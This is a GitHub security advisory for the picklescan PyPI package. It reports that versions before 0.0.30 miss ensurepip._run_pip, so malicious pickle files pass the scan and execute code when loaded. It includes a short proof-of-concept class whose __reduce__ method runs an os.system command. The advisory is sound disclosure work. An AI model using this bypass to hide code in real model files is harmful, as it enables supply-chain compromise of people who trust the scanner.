GitHub Advisoryadvisory · PyPI
GHSA-xp4f-hrf8-rxw7 Picklescan is missing detection when calling built-in python ensurepip._run_pip
HIGH
Official page ↗
- Aliases
- CVE-2025-71344
- Ecosystem
- PyPI
- Packages
- picklescan
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-502
- Reviewed
- 2025-08-26
Affected packages
• PyPI picklescan: < 0.0.30 → fixed in 0.0.30
Description
Summary
Using ensurepip._run_pip function, which is a built-in python library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to ensurepip._run_pip function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
```
from ensurepip import _run_pip
class EvilEnsurepipRunpip:
def __reduce__(self):
payload = "[(__import__('os').system('whoami'),)]"
return _run_pip, (payload,)
```
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
Related
Alias · CVE (1)
- CVE-2025-71344 picklescan before 0.0.30 (affected versions 0.0.26 and earlier) fails to detect the ensurepip._run_pip built-in function when scanning… vulnerability
Weakness · CWE (1)
- CWE-502 Deserialization of Untrusted Data weakness
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-xp4f-hrf8-rxw7 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-71344 advisory
- https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b web
- https://github.com/advisories/GHSA-xp4f-hrf8-rxw7 advisory
- https://github.com/mmaitre314/picklescan package
- https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-1792.yaml web
- https://pypi.org/project/picklescan web
- https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-undetected-ensurepip-run-pip-function web